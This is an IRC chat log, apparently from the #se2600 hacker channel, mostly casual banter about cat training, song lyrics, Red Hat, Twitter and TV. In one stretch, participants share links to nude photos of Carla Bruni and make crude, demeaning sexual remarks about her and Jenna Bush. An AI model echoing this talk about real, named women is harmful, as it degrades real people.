17:54 <@rhia> Mercster: it's instinctive - hide the food to come back to later
17:55 < Mercster> rhia: i keep trying to break her of it...i can discipline her on many things, but the whole "scrape linoleum over my food" thing...
17:55 < Mercster> it's impossible
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17:55 <@rhia> because she's not doing anything wrong
17:55 <@rhia> do you discipline a kid for laughing when tickled?
17:56 < Mercster> no, because that's a nervous system thing
17:56 <@polerin> what do you think your brain is?
17:56 <@polerin> just sayan
17:56 < Mercster> my cat should be able to learn that the linoleum under her paws isnt going to fold over her food
17:57 <@rhia> don't discipline the cat for doing what helped them survive over millenia
17:58 < Mercster> that's kind of a silly way of thinking about it
17:58 < Mercster> keeping animals from doing things that have helped them survive a millenia is called "domestication"
17:58 <@rhia> thinking a cat thinks like a human is arather a silly way of thinking about it
17:58 < Mercster> she doesnt do a whole shitload of things that wild cats do
17:58 <@rhia> still a cat, tho
17:59 < Mercster> for exactly the same reason that she's appropriate as a pet
17:59 < Mercster> well, yeah
17:59 <@polerin> Mercster: does she actually scratch up the linoleum?
17:59 <@rhia> doesn't hunt antelope, either, but still a cat
17:59 < Mercster> i dont expect her not to act like a cat
17:59 < Mercster> i just dont want her to try to bury her food with phantom dirt
17:59 <@rhia> well, attempting to hide leftover food IS acting like a cat
17:59 < Mercster> that's all
17:59 <@Dagmar> If a cat is trying to hide food it means you're not feeding them regularly enough
17:59 <@Dagmar> emphasis on "regularly"
17:59 < Mercster> trying to tear my neck out is acting like a cat, too
17:59 < Mercster> but she doesnt do that
17:59 < Mercster> cuz she's domesticated
18:00 <@rhia> Dagmar: not necessarily - we've got one who hides hers and they're all fed regularly - gravity feeder, never empty
18:00 <@rhia> Mercster: whatever
18:01 < Mercster> my cat is such a pig that if i were to feed her everytime her bowl was empty, she'd actually starve to death
18:01 <@rhia> don't try to discipline a cat for attempting to hide her food
18:01 < Mercster> she eats so much that she makes herself sick
18:01 < Mercster> she doesnt know when to stop
18:01 < Mercster> so i feed her twice a day
18:01 <@rhia> what do you feed her?
18:02 < Mercster> cat food?
18:02 <@rhia> that's a start - brand?
18:02 < Mercster> i dont remember
18:02 < Mercster> "indoor formula"
18:02 < Mercster> some crap
18:02 <@rhia> grocery store, walmart?
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18:04 <@rhia> eh, junk food makes bodies feel the need to eat more - same with cats, dogs, hamsters, humans - try better food
18:04  * Mercster looks at his cat's substantial bulk
18:04 < Mercster> she's ok
18:05 <@rhia> but mostly, when she wants to save some for later, she'll try to cover it up - shrug - it's what they do
18:05 < Mercster> AND SHE WILL FEEL M FURIOUS ANGER
18:05 < Mercster> nah, i usually just say "kitty, stop being dumb" and she comes to me and meows patheticallty
18:05 <@rhia> they can't very well put it in a tupperware container
18:05 < Mercster> then i pet her
18:06 < Mercster> this is the same cat that enjoyed licking herself so much that she wore a bare spot at the base of her tail, she has all her shots, no bugs, she's just nuts
18:06 < Mercster> i had to take her to the vet, they gave her a cortisone shot
18:07 <@rhia> btw, in response to earlier - bulk doesn't necessarily mean health - calories don't necessarily mean nutrients
18:07 < Mercster> seems to be getting better
18:07 < Mercster> but the fact remains, she's a dumb kitty
18:08 < Mercster> i dont accept your assertion that every dumb thing a cat does is normal
18:08 <@polerin> Mercster: I'd day that in this case, she's right :P
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18:08 <@rhia> when did i make that assertion?
18:09 <@rhia> talking about burying food, not "every dumb thing" (in your words)
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18:09 <@Catonic> whio
18:09 < Mercster> rhia: burying the food she gets put into her bowl twice a day is dumb
18:10 <@rhia> Mercster: in your thinking, not in her's
18:10 < Mercster> furthermore, trying to bury it underneath linoleum is even dumber
18:10 < Mercster> so yeah, it's dumb
18:10 <@rhia> Mercster: in your thinking, not in her's
18:10 < Mercster> dumb doesnt change
18:10 <@rhia> she's a cat,
18:10 < Mercster> she can think anything she wants, it's still dumb
18:10 < Mercster> i recognize she's dumb, so she does dumb things
18:11 < Mercster> doesnt make it any less dumb
18:11 < Mercster> the linoleum will not cover her food
18:11 <@rhia> she probably thinks you going into that water box and getting soaked everyday is really dumb, too
18:11 < Mercster> thus trying, is dumb
18:11 < Mercster> seems obvious to me
18:11 < Mercster> yeah but a dumb cat is in no position to judge my showering
18:11 <@rhia> more like oblivious, but that's your choice
18:11 < Mercster> cuz...she's dumb
18:11 < Mercster> :-)
18:12 < Mercster> my cat is actually very intelligent, compared to most housecats ive observed
18:12 < Mercster> my cat can fetch
18:12 < Mercster> my cat also rarely gets up on furniture that i dont want her to
18:13 < Mercster> she's known plenty of love and wholesome discipline her whole life
18:13 < Mercster> and is damn sharp
18:13 <@rhia> so can mine, and shake hands, lay down, catch,....
18:13 < Mercster> its just the cover-food-with-linoleum thing
18:13 < Mercster> its the one thing she cant seem to break
18:13 <@rhia> then sounds like you have more of a problem understanding her than she does understanding you
18:14 < Mercster> if she can learn the other stuff, i figure she should be able to learn not to try and cover her food with linoleum
18:14 <@rhia> rest my case =)
18:15 < Mercster> indeed, rest your case
18:17 <@polerin> "It's like an enigma inside a trainwreck, wrapped in bacon. Or something."
18:17 <@polerin> heh
18:17 <@polerin> awesome quote
18:17 <@rhia> bacon makes all things awesome <g>
18:17 < Mercster> i and my co-workers used to eat lunch at a quiznos, and they had an awesome poster on the wall behind the register
18:17 < Mercster> "When in doubt, JUST ADD BACON:
18:18 < Mercster> so "JUST ADD BACON" became a sort of office philosophy
18:19 <@polerin> heh.  The weekly joke on Feministe is actually "I blame feminism for %s"
18:19 <@jb7od> man i am so tempted to be like "Don't pollute yourself with the swine flesh, brothers and sisters!" just to start the imminent argument even though I have no food politics at all.
18:20 <@Dagmar> I blame feminists for feminism.
18:20 <@rhia> Dagmar: damn, you type faster
18:20 <@rhia> that was the obvious response <g>
18:20 < Mercster> pork is indeed dirty
18:20 < Mercster> i try to limit my intake
18:21 < Mercster> but sometimes it's unavoidable
18:21 < Mercster> you guys tried turkey bacon?
18:21 <@polerin> Mercster: so you eat beef produced in confinment farming?  AWESOME
18:21 < Mercster> yep, all the beef i can get
18:21 < Mercster> confinement farming doesnt change the basic biology of a cow
18:22 < Mercster> pigs on the other hand, are dirty animals no matter what
18:22 < Mercster> no sweat glands, eat their own shit
18:22 < Mercster> not good'
18:22 <@rhia> so, eat farm fish raised in their own poop thickened water, chickens packed in cages spreading diseases to each other, ....
18:22 <@rhia> lotsa good meat out there
18:22 <@rhia> or just eat longpig, the other white meat
18:22 < Mercster> heh
18:22 < Mercster> long pig
18:23 <@polerin> rhia: too much heinlein for you :P
18:23 < Mercster> i was an occultist long enough in my youth to know what that is ;-)
18:23 <@rhia> polerin: moi? hehe
18:24 <@rhia> Mercster: 1734
18:24 < Mercster> rhia: "was" :)
18:27 <@rhia>  \|/
18:27 <@rhia>   +
18:27 < Synx_hm> damn it i really wana watch this movie
18:27 < Mercster> yew
18:27 < Mercster> yggdrasil
18:27 < Mercster> Synx_hm: which
18:27 < Synx_hm> Mercster: hackers are people too :)
18:28 < Mercster> Synx_hm: heh
18:28 < Synx_hm> i get these ideas what i want to watch/do/or get something and i cant let it go
18:28 < Mercster> so, watch it
18:28 < Synx_hm> really sucks
18:28 < Synx_hm> because i ordered it and wont get it till i get back home in january :(
18:28 < Mercster> ah
18:29 < Synx_hm> cant find it on any torrent sites to watch now
18:29 < Synx_hm> nor usenet :(
18:29 < Mercster> how about netnews
18:29 < Mercster> ah
18:29 < Mercster> ill tell you an awesome movie
18:29 < Mercster> 1970 'scrooge', with albert finney
18:29 < Synx_hm> that is a great movie!
18:29 < Mercster> seasonal
18:29 < Mercster> yep
18:30 < Mercster> best 'christmas carol' adaptation
18:30 < Mercster> thank you very much
18:30 < Mercster> thank you very much!
18:30 < Mercster> that's the nicest thing that anyone's ever done for me!
18:30 < Mercster> o/~
18:33 < Synx_hm> http://www.comingsoon.net/films.php?id=42154
18:34 < Mercster> big ol' jet airliner
18:34 < Mercster> dont carry me too far away
18:34 < Mercster> ohhh big ol' jet air liner
18:35 < Mercster> cuz it's here that ive got to stay
18:35 <@tzanger> oh man
18:35 <@tzanger> steve miller++
18:35 < Mercster> tzanger: haaa amen :)
18:35 < Synx_hm> holy shit wtf is this!?!
18:35 < Synx_hm> http://www.youtube.com/watch?v=_TiQCJXpbKg
18:38 < Mercster> ohhhh darlin...
18:38 < Mercster> if you leave me...
18:38 < Mercster> ill never make it...alone
18:41 <@Dagmar> It's fake.  No worries.
18:42 <@Dagmar> McCain has a "problem" with letting footage out that is perfect for Chromakey edits
18:43 < Mercster> yea dawg
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18:44 < Synx_hm> when did amazon become a listing agent for other companies?
18:44 < Synx_hm> i know its been going on for a while now, but when exactly
18:44 < Mercster> as soon as it became profitable
18:44 < Synx_hm> its such a pita now :(
18:45 < Synx_hm> my trust in amazon has disapeared
18:45 < Mercster> amazon kicked me out for returning too much ;-)
18:45 < eryc> s/returning/talking
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18:46 < Synx_hm> i have an intense desire to wiggle around/yell
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18:48 < Mercster> eryc: WHATS THAT SUPPOSED TO MEAN
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18:58 < Mercster> ......FLASH!
18:58 < Mercster> AH-AHHHHHHH!
18:58 < Mercster> SAVIOR OF THE UNIVERSE!
18:59 < Mercster> dispatch war rocket ajax...to bring back hs body
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19:27 < Mercster> let's make the water turn black
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19:59 < Mercster> ive been to london
19:59 < Mercster> seen seven wonders...
19:59 < Mercster> i know to trip it just to fall
19:59 < Mercster> sometimes i rooock it
19:59 < Mercster> sometimes i roooll it
19:59 < Mercster> i never knew what it was for...
20:25 -!- mode/#se2600 [+o Shadow404] by ChanServ
20:26 < Mercster> so when you see me on yo block, wit two glocks, screamin 'fuck tha world' like tupac?
20:26 < Mercster> I JUST DONT GIVE A FUUUCK
20:27 < Mercster> talkin that shit behind my back, dirty mac, an tellin yo boys that I'm on crack?
20:27 < Mercster> I JUST DONT GIVE A FUUUCK
20:27 < Mercster> so put my tape back on tha rack...go run an' tell yo friends my shit is wack
20:27 < Mercster> I JUST DONT GIVE A FUUUCK
20:27 < Mercster> but see me on tha street an duck...
20:27 < Mercster> cuz you fin' ta git stuck, stoned an' snuck
20:28 < Mercster> CUZ I JUST DONT GIVE A FUUUCK
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20:32 -!- mode/#se2600 [+v eryc] by sdodson
20:32 -!- mode/#se2600 [+vvvv Psyiode mubix Gregabyte_ Gatewayy] by sdodson
20:32 -!- mode/#se2600 [+vvvv Synx_hm someninjamaster2 TelcoBob Mercster] by sdodson
20:32 -!- mode/#se2600 [+vvvv poiupoiu MaxieZ vyrus001 nightcarnage1] by sdodson
20:32 -!- mode/#se2600 [+vvvv buu brookshire Peaches84 scribbles] by sdodson
20:32 -!- mode/#se2600 [+v cerkit] by sdodson
20:32 -!- mode/#se2600 [-v Mercster] by sdodson
20:35 <@sdodson> 21:34 <Mercster> Irssi: #se2600: Total of 58 nicks [39 ops, 0 halfops, 18 voices, 1 normal]
20:35 <@sdodson> 21:34 <Mercster> hahaha 1 normal...quite right ;-)
20:35 <+eryc> lulz
20:35 <@NotLarry> That ratio is a little high don't you think?
20:36 -!- mode/#se2600 [-m] by sdodson
20:36  * Mercster feels sdodson 
20:38 <@jb7od> Cage > Eminem
20:39 < Mercster> cage is good
20:39 < Mercster> i dunno about > eminem
20:42 < Mercster> jb7od: what bothers me is lil wayne...i used to listen to him freestyle on mixtapes and rap city...damn good...but now he's lame, but all over the radio
20:43 < Mercster> long distance runaround
20:46 <@sdodson> http://flickr.com/photos/sdodson/3106437794/sizes/l/
20:46 < Mercster> sdodson: who is that
20:46 <@sdodson> me
20:46 < Mercster> im sorry
20:47 <@sdodson> I'm not.
20:47 < Mercster> sdodson: where'd you get the Red Hat?
20:47 <@sdodson> You get one the first day.
20:47 < Mercster> heh
20:48 < Mercster> sdodson: did you ever work with raster?
20:48 <@sdodson> Or from here http://redhat.brandfuelstores.com/index.php?main_page=index&cPath=2_17
20:48 <@sdodson> No idea who that is.
20:49 < Mercster> the guy who wrote enlightenment
20:49 < Mercster> window manager
20:49 <@sdodson> I thought he went by "rasterman"
20:49 < Mercster> something like that
20:49 <@sdodson> But anyway, no.
20:49 < Mercster> not at redhat anymore?
20:50 < Mercster> he was fond of hats
20:51 <@dc0de> do you mean renderman?
20:51 < Mercster> just reminded me of him
20:51 <@sdodson> wikipedia says he worked there in 97
20:51 <@sdodson> dc0de: no
20:51 < Mercster> ah
20:51 < Mercster> er, nah
20:51 <@sdodson> http://en.wikipedia.org/wiki/Rasterman
20:51 < Mercster> strange bloke
20:51 < Mercster> course, i guess you'd have to be a little off to write enlightenment
20:52 <@sdodson> I didn't used Linux until 2006 really.
20:52 < Mercster> nod
20:52 <@sdodson> Until shortly after I got an offer.
20:52 < Mercster> heh
20:52 <@sdodson> Well, that's a lie, until about 6 months prior to getting an offer.
20:53 < Mercster> whatever works
20:54 <+eryc> it was all SCO before then
20:54 <@sdodson> I avoided it until my boss told me that's what we were going to use and I should get my RHCE, so I got that, got tired of my job and ended up at Red Hat.
20:55 <@rhia> sdodson: what happened to <sdodson> alright, i'm out, my goal is to not touch irc until the weekend is over
20:56 < Mercster> STOP PRESSURING HIM
20:57 <@sdodson> rhia: I had to take immediate action to make Mercster stfu
20:57 <@rhia> Mercster: pretty sure sdodson can speak for himself, especially in response to something he said earlier - thanks for playing
20:57 < Mercster> haha
20:57  * Mercster waves
20:57 <@rhia> sdodson: ahh .. danke
20:57 <+eryc> ya someone put out the hat symbol
20:58 <@sdodson> My problem is that I have IRC, aim, and mail all in windows within screen so if i chat up my dad i have a habit of switching to other windows while i wait for him to type.
20:58 <@rhia>   /_\  dunce hat?
20:58 < Mercster> rhia: no, thank me, otherwise sdodson would not have graced us with his presence
20:58 <+eryc> you guys check out the moon tonight?
20:58 <@sdodson> eryc: I'd work at redhat for the rest of my life if they had a shadowman search light
20:58 <@rhia> sdodson: that could be taken so wrong by the Brits <g>
20:58 <@sdodson> eryc: BRIGHT!
20:59 <@rhia> Mercster: been asked before, just how old are you? honestly
20:59 <@sdodson> holy crap the nrp stream i loaded up 20 minutes ago and just now started playing, I thought one of you had haxored my computer and made me listen to crap music
20:59 < Mercster> ohhhh lordy
20:59 <@sdodson> npr
21:00 <@rhia> eryc: biggest full moon in 15 yrs!!  ... or, "big and purty, har har"
21:00 < Mercster> sdodson: all things considered...
21:00 < Mercster> rhia: i am 31
21:00 <+eryc> ya it looks awesome, the moonman is smiling for obama
21:01 < Mercster> eryc: is it still the moon + venus + jupiter display?
21:01 <+eryc> i cant wait for the open for questions answers
21:01 <+eryc> Mercster: go look
21:01 <@rhia> Mercster: tourettes or just randomnly bored on a saturday, sitting on irc and deciding to flood channel ?
21:01 <+eryc> i assume the later
21:02 < Mercster> rhia: ? flood?
21:02 <@rhia> Mercster: over 6 lines of nothing but your own nick speaking?   ... flood
21:02 < Mercster> 'flood' carries a negative connotation, as if it was interrupting someone
21:02 <+eryc> http://twitter.com/mercster
21:02 < Mercster> yeah, well
21:03 <@rhia> you interrupt our silence!!  <g>
21:03 < Mercster> if anyone had anything to say, they're welcome to say it :P
21:03 < Mercster> sometimes i type lyrics
21:03 <@rhia> if they can get a line in edgewise
21:03 < Mercster> it's true
21:03 <@sdodson> I don't understand twitter, and I think anyone who uses it with any frequency is a waste of carbon.
21:03 <@rhia> we don't need or want lyrics - unless relevant and/or asked for, tyvm
21:03 < Mercster> sdodson: i dont either really... i keep trying to jump on the bandwagon, but it seems like IRC for assholes
21:04 <@sdodson> <+eryc> i cant wait for the open for questions answers
21:04 <@sdodson> ???
21:04 < Mercster> rhia: you may not need or want them, but you will get them
21:04 <+eryc> one sec
21:04 < Mercster> rhia: how's that
21:04 <@rhia> sdodson: twitter exists for ADHD self indulgence
21:04 <@sdodson> I think I need to go see a shrink for adhd
21:04 <@rhia> Mercster: selfish and grandiose
21:04 <+eryc> http://change.gov/page/content/20081211_openforquestions
21:04 < Mercster> twitter seems like the kind of place where i'd type the same shit i do on IRC when noone else is typing
21:04 <@rhia> Mercster: meet twitter
21:05 < Mercster> rhia: i dunno that irc is ever a platform for 'grandiose'
21:05 < Mercster> maybe you dont undertand it
21:05 < Mercster> i dunno
21:05 <@rhia> Mercster: how .... benevolent of you
21:05 < Mercster> if everyone is asleep and im drunk typing lyrics, i dont see how that hurts anyone
21:05 < Mercster> unless you're just out to be a bigshot
21:05 < Mercster> which isnt uncommon
21:05 < Mercster> but i expect better of you folks, really
21:05 <@rhia> so, bigshot, how's it going for you?
21:06 < Mercster> IM AWESOME :)
21:06 <@rhia> and spending your weekend typing random shit on irc ....
21:06 <@rhia> oooh, how can I be so awesome?
21:06 < Mercster> yeah well thats a personal value judgement
21:07 <+eryc> i prefer when i read thru the scrollback that it doesnt include a bunch of random noise
21:07 < Mercster> it seems we're all here on a saturday night
21:07 < Mercster> so i dont feel too intimidated
21:07 < Mercster> eryc: ahh yes, irc without random noise
21:07 < Mercster> that'd be...
21:07  * Mercster thinks hard
21:07 <@rhia> novel, in your world
21:09 < Mercster> did i mention im drunk
21:09 < Mercster> *hiccup*
21:11 <@rhia> oh, gawds - another drunk IRCer ..... sigh
21:12 <@rhia> sometimes, damn, it seems IRC should require a breathalyzer
21:12 < Mercster> you must be new
21:12 <@sdodson> bah, irc without drunks is lame
21:13 < Mercster> anyone here watch SNL?
21:13 < Mercster> hugh laurie tonight
21:13 < Mercster> should be halfway interesting
21:13 <@rhia> um, old enough to be your mama - and not new to tech nor irc ... round two, lose - thanks for playing!
21:13 < Mercster> rhia: do you like SNL?
21:13 <@sdodson> Why, House has a negative interestingness value.
21:14 <@sdodson> You could take Katie Morgan porn, add Hugh Laurie with a cane and I'd fall asleep.
21:14 < Mercster> sdodson: i dont watch that show, but he seems like he could be a decent SNL guest host
21:14 < Mercster> i dunno who katie morgan is
21:15 <@Catonic> GUNF
21:15 <@sdodson> Here, let me search wikipedia for you! http://en.wikipedia.org/wiki/Katie_Morgan
21:15 < Mercster> i just did a google image search
21:15 < Mercster> looks like some whore
21:16 <@Catonic> she's got a lookalike in Huntsville
21:16 < Mercster> Catonic: take me to your leader
21:18 <@sdodson> Ok, I'm going to go find a stud and nail it.
21:18 <@sdodson> Pics after the job is done.
21:18 <+eryc> want to see the french presidents wife naked?
21:18 <@sdodson> (mounting my tv on the wall you perverts)
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21:18 <@sdodson> eryc: YES!
21:19 <+eryc> http://pathedog.free.fr/helmut%20Newton/Carla%20Bruni,%20Ch%E2tain%20Clair,%20Pose%20Nue%20-%20Tr%E9s%20Belle%20Image%20Couleur%20D'Helmut%20Newton.jpg
21:19 <@rhia> sdodson: you realize that line begs for being made topic?
21:19 < Mercster> man, sarkozy's wife is hot
21:19 <@sdodson> can that be more photoshopped?
21:19 < Mercster> eryc: 404, hoser
21:19 <+eryc> http://eslux.com/wp-content/uploads/carla-bruni-desnuda1.jpg
21:19 <+eryc> http://www.perfectpeople.net/photo-picture-image-media/Carla-Bruni-754x1144-82kb-media-76-media-129234-1199365501.jpg
21:19 <@rhia> sdodson: and note how i didn't do so?   consider it a xmas gift <g>
21:19 <+eryc> http://blogs.courant.com/colin_mcenroe_to_wit/CarlaBruni.jpg
21:19 < Mercster> gah
21:20 < Mercster> is that really her?
21:20 <@sdodson> rhia: lame
21:20 <@rhia> sdodson: well, then - no santa claus for you
21:20 < Mercster> NOT ATTRACTIVE
21:20  * rhia pouts
21:20 <+eryc> http://www.bittenandbound.com/2008/12/13/carla-bruni-sarkozys-nude-image-on-shopping-bags-photos/
21:20 <@rhia> see, try to do something nice for someone .......
21:20 <+eryc> she's mad because they are selling bags with the pic
21:21 < Mercster> haha
21:21 < Mercster> eryc: it's tough being a whore, really
21:21 <@rhia> eryc: the bags get stretched, make her look lumpy
21:21 <+eryc> ha
21:21 < Mercster> she needs more lumps, IMHO
21:23 < Mercster> if it doesnt jiggle when you smack it, it aint hot
21:24 <@sdodson> did we ever get nudes of the bush twins?
21:24 <@sdodson> are they twins?
21:24 < Mercster> mmmm oh god
21:24 < Mercster> the blonge
21:24 < Mercster> blonde
21:24 < Mercster> she's so fine
21:24 < Mercster> i dunno if they're twins, they aint identical
21:25 < Mercster> jenna
21:25 < Mercster> jenna bush is the smokin' one
21:25 < Mercster> http://www.pissedonpolitics.com/jenna_bush-bush.jpg
21:25 < Mercster> haaaaaaa
21:26 < Mercster> i want to put thousands of tiny babies inside of her
21:27 <@aestetix> man
21:28 <@aestetix> These midnight regulations are unreal
21:28 <+eryc> http://www.milkandcookies.com/link/124496/detail/
21:28 < Mercster> aestetix: booze?
21:28 < Mercster> eryc: dude, i saw that the other day. that's just wrong
21:29 <+eryc> came to mind when u said thousands of babies
21:29 < Mercster> heh
21:31 < Mercster> how naive do you have to be to order that for your kid's birthday
21:32 < Mercster> awful
21:35 <+eryc> shit, i want it for my birthday
21:35 <+eryc> pure awesomeness
21:36 <@rhia> http://www.overthinkingit.com/2008/12/10/40-inspirational-speeches-in-2-minutes/
21:40 <@Dagmar> eryc: THat is so goddamn wrong
21:41 <@rhia> Dagmar: but jonnyx could use it with the giant vagina .... multiple uses
21:42 <@Dagmar> It's both a penis and an ass
21:42 <@Dagmar> wrongwrongwrongwrong
21:42 < Mercster> hHA
21:43  * Mercster coughs
21:56 <@rhia> why is the giant vagina ok, but a giant ass penis is wrong?   just wondering
21:57 < Mercster> sexist conspiracy
21:58 < Mercster> rhia: do you play WoW?
22:03 <@Dagmar> If it would fit in on the stage of a GWAR concert, then it's not "kid-friendly".  It's a rule.
22:06 < Mercster> k
22:15 <@rhia> neither would be "kid friendly"
22:16 <@Dagmar> In case you haven't noticed, jonnyX is not someone who should be allowed to decide what is okay for children.
22:16 <@rhia> but the giant vagina was funny and 'cool' the giant ass penis is "wrong"   - just wondering (honestly, this stuff is interesting to me - then again, HugMe was my best man AND maid of honor)
22:17 <@rhia> Dagmar: i ... noticed  <g>
22:17 <@rhia> Dagmar: and jonnyx officiated at our wedding <g>
22:18 <@Dagmar> Clearly by attempting to reconcile the decision-making processes of jonnyX and I you have forgotten that generally he's the one urging people to take things a step further, and I'm the one speaking up when the chance that step would involve police visits rises above a certain threshold.
22:19 <@Dagmar> If jonnyX ever says the police will wind up involved in something, call your lawyer because you're probably already past that point and will need bail money.
22:19  * brimstone sets modes -rant Dagmar
22:20  * Dagmar needs a CTCP STRANGLE command.
22:20 <@rhia> Dagmar: weeellllll .... he and rattle did come up to me after the feds showed up at atlcon due to the pirate radio broadcast saying (independently) Best. Con. EVAR!  hehe
22:21 <@Dagmar> rhia: Yeah and I think ya'll got lucky there still.
22:21 <@rhia> but not asking about jonnyx's take on it, asking on some .... more .... balanced? views of those in channel (ok, i see a major flaw there)
22:21 <@Dagmar> I heard about that and I would have made a note in my PDA to remind me to make sure the thing got turned off at a certain time so it wouldn't be running all weekend in such a trivially traceable fashion
22:21 <@rhia> Dagmar: don't i know it
22:21 < Mercster> ah ha, questhelper
22:21 < Mercster> thats what i needed
22:22 <@rhia> and, yes, we gave them hell -- tho, against the praise from the above And the moloch crew ....
22:22 <@Dagmar> So like, with jonnyX + rattle and me not there to keep an eye on them, the fact that the FCC showed up didn't suprise me in the least
22:22 <@rhia> let's just say i was glad i'd talked with the FBI before hand ;)
22:22 < Mercster> rattle's car is from the fiuture
22:22 <@rhia> made things MUCH easier on our end
22:23 <@rhia> Dagmar: um, rattle was there
22:23 <@Dagmar> Yes, exactly.
22:23 <@rhia> i know, he hugged the stuffing out of me after the feds left
22:23 < Mercster> he doesnt have just a normal GPS telling you where to go, his GPS is so complex it actually has emotions
22:23 <@Dagmar> "jonnyX + rattle"
22:23 < Mercster> "Hmm, Im not sure how I feel about the last turn you made"
22:24 <@rhia> Dagmar: but, that's neither here nor there on the question
22:24 <@rhia> Dagmar: whyfore giant vag cool/funny (not at our con, btw, again, neither here nor there) but giant ass penis wrongwrongwrong?
22:25 <@sdodson> rhia: Alright, I really need to train my cat that there are certain areas of the place that are absolutely forbidden, how do I do that?
22:25 < Mercster> sdodson: beatings
22:25 <@Drag0n> closed doors
22:25 <@sdodson> closed doors is unpossible.
22:25 <@Dagmar> Because you are comparing jonnyX's judgement system against my judgement system
22:26 <@Dagmar> There's some serious ways in which we're polar opposites
22:26 <@rhia> sdodson: static mats, air cans on proximity sensor. water pistols....
22:26 <@rhia> loud noises like whistles, or a tin can full of BB's to shake at the EXACT moment Verbal does unwanted behaviour
22:26 <@Dagmar> if it were *just* kids involved in a playground-vagina, it would probably be fine
22:27 <@Dagmar> ...but it wouldn't be.  Adults would be involved and *their* reaction to it would mess with the kids
22:27 <@rhia> Dagmar: but a playground ass penis for Just Kids is not?  i not follow
22:27 <@Dagmar> rhia: I have no idea what the people who made that thing were thinking
22:27 <@rhia> Dagmar: agreed
22:28 <@Dagmar> I just know it could hjave looked like something else with a wee bit of effort
22:28 <@rhia> sdodson: static mats for flat surfaces, cans of air or airhorns set to a proximity sensor work wonders for "don't go there"
22:28 < Mercster> ass penis? :-/
22:29 <+TelcoBob> damn my irc client alreting ass penis, you woke me up :(
22:29 <@rhia> sdodson: what areas?
22:29 < Mercster> TelcoBob: haha
22:29 <+TelcoBob> :-p\
22:29 < Mercster> TelcoBob: your client beeps on 'ass penis'? same here :/
22:29 <@rhia> TelcoBob: go back to sleep, just a kids play tent, nothing to get your juices flowing <g>
22:29 < Mercster> SNL time
22:29 < Mercster> hugh laurie
22:30 <+TelcoBob> ha!
22:30 <@rhia> TelcoBob: filter needs more fine tuning ;)
22:32 <+TelcoBob> amen
22:32 < Mercster> "it's a no-show job"
22:32 -!- maco [n=maco@ubuntu/member/macogw] has joined #se2600
22:32 -!- mode/#se2600 [+o maco] by ChanServ
22:32 < Mercster> "i appoint myself to the senate"
22:32  * sdodson looks into fixing his mythtv machine
22:33 < Mercster> sdodson: wish i had some extra hardware to throw at mythtv
22:33 < Mercster> had a mythtv box a few years ago, it was awesome
22:33 <@sdodson> I think i need a bigger box.
22:33 <@sdodson> I'm waiting to see what happle does with appletv
22:34 <@rhia> sdodson: what areas is Verbal not allowed?
22:34 < Mercster> sdodson: frankly i dont give a fuck about quality, id be fine recording shit at 320x200
22:34 < Mercster> as far as, just normal crap i watch
22:34 <@sdodson> rhia: Kitchen counters, cofee table.
22:34 <@sdodson> 320x200 is really really low
22:34 <@rhia> Dagmar: i agree with you, making friends with TLA's beforehand saves a LOT of headaches afterwards ;)
22:35 < Mercster> sdodson: well, yeah, but you can cram a lot of it on a disk ;-)
22:35 <@rhia> coffee table - damned hard, counters? air canisters, water guns/bottles, or static mats
22:35 <@rhia> coffee table is very low and accessible and Right Where You Are - can try the above, but easier to let him have a small victory
22:36 <@sdodson> Basically any surface that may have food at any given time.
22:36 <@rhia> sdodson: counters? yeah - no cat zone
22:36 <@sdodson> I'm fine with him chilling on the couch, as he is right now.
22:36 <@sdodson> Maybe I just need to give him more attention when he's in acceptable places.
22:36 <+TelcoBob> sdodson: verbal?
22:37 <@sdodson> TelcoBob: muh cat
22:37 < Mercster> i have a little cat house
22:37 <@rhia> i use a water bottle with sprayer, just Showing it to the worst offender makes him melt away
22:37 < Mercster> nylon thing
22:37 <+TelcoBob> hah right on, what kinda cat is he/she
22:37 < Mercster> with a frame around it
22:37 < Mercster> my kitty is sleeping in it currently
22:37 <@sdodson> TelcoBob: http://flickr.com/photos/sdodson/sets/72157603520217393/
22:38 < Mercster> http://quanta.homeip.net/dumbkitty.jpg
22:38 <@rhia> sdodson: some cats don't mind water, a metal can of BBs rattled works for them - or a rolled up magazine/newspaper 'popped' in front of them (do NOT touch the cat with it!)
22:38 < Mercster> http://quanta.homeip.net/dumbkitty2.jpg
22:38 <+TelcoBob> iomg sdodson i love it!
22:38 < Mercster> http://quanta.homeip.net/dumbkitty3.jpg
22:38 < Mercster> http://quanta.homeip.net/dumbkitty4.jpg
22:38 <+TelcoBob> sdodson: persian?
22:39 <@rhia> sdodson: but a $1.50 water bottle from Lowes, kept full and accessible - works Well after they've been sprayed a few times
22:39 <@sdodson> TelcoBob: Ya, I think.
22:39 <@sdodson> rhia: I have water bottles.
22:39 <+TelcoBob> weve got a few persians
22:39 <@sdodson> TelcoBob: he's a good cat, asside from him wanting to destroy my carpets
22:40 <@rhia> sdodson: one of mine was born in a rescue house (read, 700+cats rescue mission) and has a very hard time with "counters" - show him a water bottle, he gets down Quick
22:41 <@rhia> but he Still doesn't understand that counters are bad, but he was raised on hundreds of cats sleeping on the counters - sigh
22:41 <@sdodson> He clearly knows I don't want him up there, I can give him a stern look and he gets down.
22:41 < Mercster> rhia: a little discipline, he's learn
22:41 < Mercster> he'll, rather
22:42 <+TelcoBob> sdodson: paintball gun ftw
22:42 <@rhia> ah, when you're not around?   look up "scatmat" or "cat aerosol deterrent"
22:42 <@Dagmar> SuperSoaker2000.
22:42 < Mercster> rhia: how do you feel about the 'bitter apple' stuff?
22:42 <@Dagmar> It's a little overpowered, but Cats Pay Attention.
22:42 <@rhia> after a few blasts of the aerosol can, you don't even need to re-fill it, just the sight makes them leave
22:43 <@rhia> Dagmar: hehe, soaked kitty ==Very Unhappy Cat
22:43 <@Dagmar> You only have to pull the trigger for a moment
22:44 <+TelcoBob> some cats dig water though, my friend  has a savannah can and it likes to take baths with her, tyhe closer the bred is to a wildcat, or if there is any wild cat blood in them they really dig being a wet pussy
22:44 <@sdodson> then there's the problem of water on hardwood floors :(
22:44 <@sdodson> Dagmar: i have srs question
22:44 <@rhia> sdodson: the static mats work by at least 2 points of contact == slight jolt (doesn't hurt, annoys the hell out of them) not cheap, but can work in numerous areas and can put fake mats up in their place
22:44 <@sdodson> Dagmar: from xorg logs what's the one thing I can grep for to get the current resolution chosen?
22:45 < Mercster> sdodson: xdpyinfo
22:45 <@sdodson> Mercster: fail
22:46 <@sdodson> It's for my remote box.
22:46 < Mercster> ... xdpyinfo
22:47 <+TelcoBob> sdodson: just do what we do, give the cat free riegn over everything, then you dont have t o worrk about it
22:48 <@sdodson> Mercster: I don't have a local keyboard.
22:48 < Mercster> TelcoBob: animals like discipline, just like humans
